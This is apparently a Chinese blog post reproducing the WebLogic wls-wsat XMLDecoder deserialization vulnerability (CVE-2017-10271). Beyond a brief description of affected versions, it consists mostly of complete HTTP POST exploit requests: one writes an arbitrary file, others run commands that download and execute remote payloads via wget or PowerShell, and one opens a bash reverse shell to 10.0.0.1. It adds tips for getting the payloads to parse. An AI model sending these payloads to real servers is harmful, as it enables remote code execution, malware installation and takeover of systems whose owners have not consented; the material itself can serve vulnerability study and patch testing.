weblogic漏洞系列- 'wls-wsat'
2018-08-23 本文已影响47人
zksmile
漏洞编号：
CVE-2017-10271
影响范围：
Oracle WebLogic Server 10.3.6.0.0版本
Oracle WebLogic Server 12.1.3.0.0版本
Oracle WebLogic Server 12.2.1.1.0版本
漏洞详情：
Weblogic的WLS Security组件对外提供webservice服务，其中使用了XMLDecoder来解析用户传入的XML数据，在解析的过程中出现反序列化漏洞，导致可执行任意命令。
漏洞原理：
https://www.anquanke.com/post/id/92003
漏洞复现环境：
WebLogic Servcer :10.3.6.0
漏洞复现：
1、利用java.io.PrintWriter类进行文件创建，并写入数据。
POST /wls-wsat/CoordinatorPortType HTTP/1.1
Host: 8.8.8.8:7001
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_13_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/67.0.3396.99 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Connection: close
Content-Type: text/xml
Content-Length: 605
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
<soapenv:Header>
<work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
<java><java version="1.4.0" class="java.beans.XMLDecoder">
<object class="java.io.PrintWriter"> <string>servers/AdminServer/tmp/_WL_internal/bea_wls_internal/9j4dqk/war/test.txt</string>
<void method="println">
<string>Hello,this is a test!</string>
</void>
<void method="close"/>
</object></java></java>
</work:WorkContext>
</soapenv:Header>
<soapenv:Body/>
</soapenv:Envelope>
image.png
2、执行系统命令
利用java.lang.ProcessBuilder类进行本地命令调用,通过执行本地命令，下载可执行文件执行或者反弹shell。
2.1 通过执行wget、curl命令或者powershell，下载可执行文件并执行。、
Linux代码如下：
POST /wls-wsat/CoordinatorPortType HTTP/1.1
Host: 8.8.8.8:7001
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_13_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/67.0.3396.99 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Connection: close
Content-Type: text/xml
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
<soapenv:Header>
<work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
<java version="1.4.0" class="java.beans.XMLDecoder">
<void class="java.lang.ProcessBuilder">
<array class="java.lang.String" length="3">
<void index="0">
<string>/bin/bash</string>
</void>
<void index="1">
<string>-c</string>
</void>
<void index="2">
<string>wget http://xxxx.com/xxx | /bin/bash xxx</string>
</void>
</array>
<void method="start"/></void>
</java>
</work:WorkContext>
</soapenv:Header>
<soapenv:Body/>
</soapenv:Envelope>
Windows代码如下：
POST /wls-wsat/CoordinatorPortType HTTP/1.1
Host: 8.8.8.8:7001
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_13_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/67.0.3396.99 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Connection: close
Content-Type: text/xml
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
<soapenv:Header>
<work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
<java version="1.4.0" class="java.beans.XMLDecoder">
<void class="java.lang.ProcessBuilder">
<array class="java.lang.String" length="3">
<void index="0">
<string>powershell</string>
</void>
<void index="1">
<string>-Command</string>
</void>
<void index="2">
<string>（New-Object System.Net.WebClient）.DownloadFile('http://***.com/***.exe','***.exe');(New-Object -com Shell.Application).ShellExecute('***.exe');</string>
</void>
</array>
<void method="start"/></void>
</java>
</work:WorkContext>
</soapenv:Header>
<soapenv:Body/>
</soapenv:Envelope>
需要注意地方：<array class="java.lang.String" length="3”> 当中length的长度要与<void>的个数对应，且void的index是从0开始的
2.2、反弹shell
POST /wls-wsat/CoordinatorPortType HTTP/1.1
Host: 8.8.8.8:7001
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_13_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/67.0.3396.99 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Connection: close
Content-Type: text/xml
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
<soapenv:Header>
<work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
<java version="1.4.0" class="java.beans.XMLDecoder">
<void class="java.lang.ProcessBuilder">
<array class="java.lang.String" length="3">
<void index="0">
<string>/bin/bash</string>
</void>
<void index="1">
<string>-c</string>
</void>
<void index="2">
<string>bash -i >& /dev/tcp/10.0.0.1/21 0>&1</string>
</void>
</array>
<void method="start"/></void>
</java>
</work:WorkContext>
</soapenv:Header>
<soapenv:Body/>
</soapenv:Envelope>
注意：反弹shell的语句，需要进行编码，，否则解析XML的时候将出现格式错误
